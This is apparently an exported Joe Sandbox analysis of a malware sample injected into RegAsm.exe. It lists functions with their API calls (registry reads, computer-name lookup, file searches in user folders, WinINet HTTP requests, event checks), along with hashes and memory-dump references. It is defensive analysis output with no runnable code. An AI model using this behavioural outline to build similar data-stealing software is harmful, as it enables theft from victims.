Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00416AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,0146AAC8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
CloseHandle.KERNEL32(?,00000000,?,0146AAC8,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416B1A
ExitProcess.KERNEL32 ref: 00416B22

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction ID: 3c4b1c3760862ff095f4b16c882d5da3ff279df4080b6ba6633acb61265b60b7
Opcode Fuzzy Hash: aa120b36cfb137c48c1a566cacac99fef06b1c93e7411723dec979bce85ea544
Instruction Fuzzy Hash: E9F0BE34A84219AFE710EBE0DC06BFE7B35EF04381F11451AF502A11C0CBB8A581D65F

Function 00406D40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

`o@, xrefs: 00406DD2, 00406DAE, 00406EAF, 00406E94, 00406E5E

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: `o@
API String ID: 0-590292170
Opcode ID: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction ID: c65cc5113f4fbf7636557f8b1f026e9f2285814709fd8c8344c4410f81c0aea8
Opcode Fuzzy Hash: 7ad59576bd09cc7eceacd48e5d7f84764234e902501c4ca3efc067249123903a
Instruction Fuzzy Hash: A66138B4900219EFCB14DF94E944BEEB7B1BB04304F1185AAE40A77380D739AEA4DF95

Function 00414BB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414BEA
lstrcatA.KERNEL32(?,01471328), ref: 00414C08

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
Part of subcall function 00414910: FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
Part of subcall function 00414910: FindClose.KERNEL32(000000FF), ref: 00414B92

Part of subcall function 00414910: wsprintfA.USER32 ref: 004149B0
Part of subcall function 00414910: StrCmpCA.SHLWAPI(?,004208D2), ref: 004149C5
Part of subcall function 00414910: wsprintfA.USER32 ref: 004149E2
Part of subcall function 00414910: PathMatchSpecA.SHLWAPI(?,?), ref: 00414A1E
Part of subcall function 00414910: lstrcatA.KERNEL32(?,0146AC18,?,000003E8), ref: 00414A4A
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FF8), ref: 00414A5C
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A70
Part of subcall function 00414910: lstrcatA.KERNEL32(?,00420FFC), ref: 00414A82
Part of subcall function 00414910: lstrcatA.KERNEL32(?,?), ref: 00414A96

Part of subcall function 00414910: wsprintfA.USER32 ref: 00414A07

Strings

UaA, xrefs: 00414C2F, 00414C64, 00414C9A, 00414CCF, 00414D05, 00414D3A, 00414D5F, 00414C32, 00414C67, 00414C9D, 00414CD2, 00414D08, 00414D3D

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: UaA
API String ID: 153043497-3893042857
Opcode ID: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction ID: 5a37e5a53a2562059c730f6b0b3ae842953eee94398a2728108a858f2c1bafc2
Opcode Fuzzy Hash: f76eef8fce44aa4967a05993499158b30be10cc84edb5c5c67862afe97780de1
Instruction Fuzzy Hash: 9341C5BA6001047BD754FBB0EC42EEE337DA785700F40851DB54A96186EE795BC88BA6

Function 004151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00406280: InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000), ref: 004062E1
Part of subcall function 00406280: StrCmpCA.SHLWAPI(?,01472898), ref: 00406303
Part of subcall function 00406280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
Part of subcall function 00406280: HttpOpenRequestA.WININET(00000000,GET,?,014720D8,00000000,00000000,00400100,00000000), ref: 00406385
Part of subcall function 00406280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004063BF
Part of subcall function 00406280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415228

Strings

ERROR, xrefs: 0041521A
ERROR, xrefs: 00415273

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction ID: 74302943fe5589af4790b43ef38c2dd3b69765dcd24c28c5b90e35499643ece9
Opcode Fuzzy Hash: 9ad3e3659df19f2be40a08658cda63cc31681db51bdf2003e60922b473f200c1
Instruction Fuzzy Hash: 2D113330901008ABCB14FF61DD52AED7338AF50354F90416EF81A5A5D2EF38AB56CA9A

Function 00415050 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418DE0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418E0B

lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 0041508A
lstrcatA.KERNEL32(?,01471EE0), ref: 004150A8

Part of subcall function 00414910: wsprintfA.USER32 ref: 0041492C
Part of subcall function 00414910: FindFirstFileA.KERNEL32(?,?), ref: 00414943

Strings

aA, xrefs: 004150CF, 004150F4, 004150D2

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID: aA
API String ID: 2699682494-2567749500
Opcode ID: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction ID: 27646669aa04729862e240b26620d37997e147c17b59a732ce93ef494e7ce50b
Opcode Fuzzy Hash: d72f4a737726d54df99455f6ce83c9bf159133315d7b4ee64ed3cf280c4408bd
Instruction Fuzzy Hash: B801D6BAA4020877C714FBB0DC42EEE333CAB55304F00415DB68A570D1EE789AC88BA6

Function 004178E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416A2B), ref: 00417910
HeapAlloc.KERNEL32(00000000,?,?,?,00416A2B), ref: 00417917
GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction ID: 452d18c19ae851532a1d010ea63a4611fd0250a2e86211d30d2d96ca9096ca29
Opcode Fuzzy Hash: 655548885853275668edecfa1cfdfba2d4285fba1d09bdc7eb36c2d1d55ec877
Instruction Fuzzy Hash: 220186F1A48204EFD700DF94DD45BAABBB8FB05B11F10425AF545E3280C37859448BA6

Function 6C2F3060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C2F3095

Part of subcall function 6C2F35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C37F688,00001000), ref: 6C2F35D5
Part of subcall function 6C2F35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C2F35E0
Part of subcall function 6C2F35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C2F35FD
Part of subcall function 6C2F35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C2F363F
Part of subcall function 6C2F35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C2F369F
Part of subcall function 6C2F35A0: __aulldiv.LIBCMT ref: 6C2F36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C2F309F

Part of subcall function 6C315B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3156EE,?,00000001), ref: 6C315B85
Part of subcall function 6C315B50: EnterCriticalSection.KERNEL32(6C37F688,?,?,?,6C3156EE,?,00000001), ref: 6C315B90
Part of subcall function 6C315B50: LeaveCriticalSection.KERNEL32(6C37F688,?,?,?,6C3156EE,?,00000001), ref: 6C315BD8
Part of subcall function 6C315B50: GetTickCount64.KERNEL32 ref: 6C315BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C2F30BE

Part of subcall function 6C2F30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C2F3127
Part of subcall function 6C2F30F0: __aulldiv.LIBCMT ref: 6C2F3140

Part of subcall function 6C32AB2A: __onexit.LIBCMT ref: 6C32AB30

Memory Dump Source

Source File: 00000003.00000002.1852963675.000000006C2F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000003.00000002.1852948780.000000006C2F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853131872.000000006C36D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853165276.000000006C37E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1853180305.000000006C382000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 5a095e61723afe5eb4c3e6f445fd225c32e5cdc9d3718ff892e9eacccc39ef41
Instruction ID: b1054f1ad63068209754e2dd53c6c2fc3db8fd91b14ab7a4a43d0abd2f0eaf3e
Opcode Fuzzy Hash: 5a095e61723afe5eb4c3e6f445fd225c32e5cdc9d3718ff892e9eacccc39ef41
Instruction Fuzzy Hash: 87F0F912D20B5897CB11EF3488411E6B378BF6F114F505319E89457511FB2062D8C3EA

Function 00419470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 00419484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 004194A5
CloseHandle.KERNEL32(00000000), ref: 004194AF

Memory Dump Source

Source File: 00000003.00000002.1819825998.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1819825998.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1819825998.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
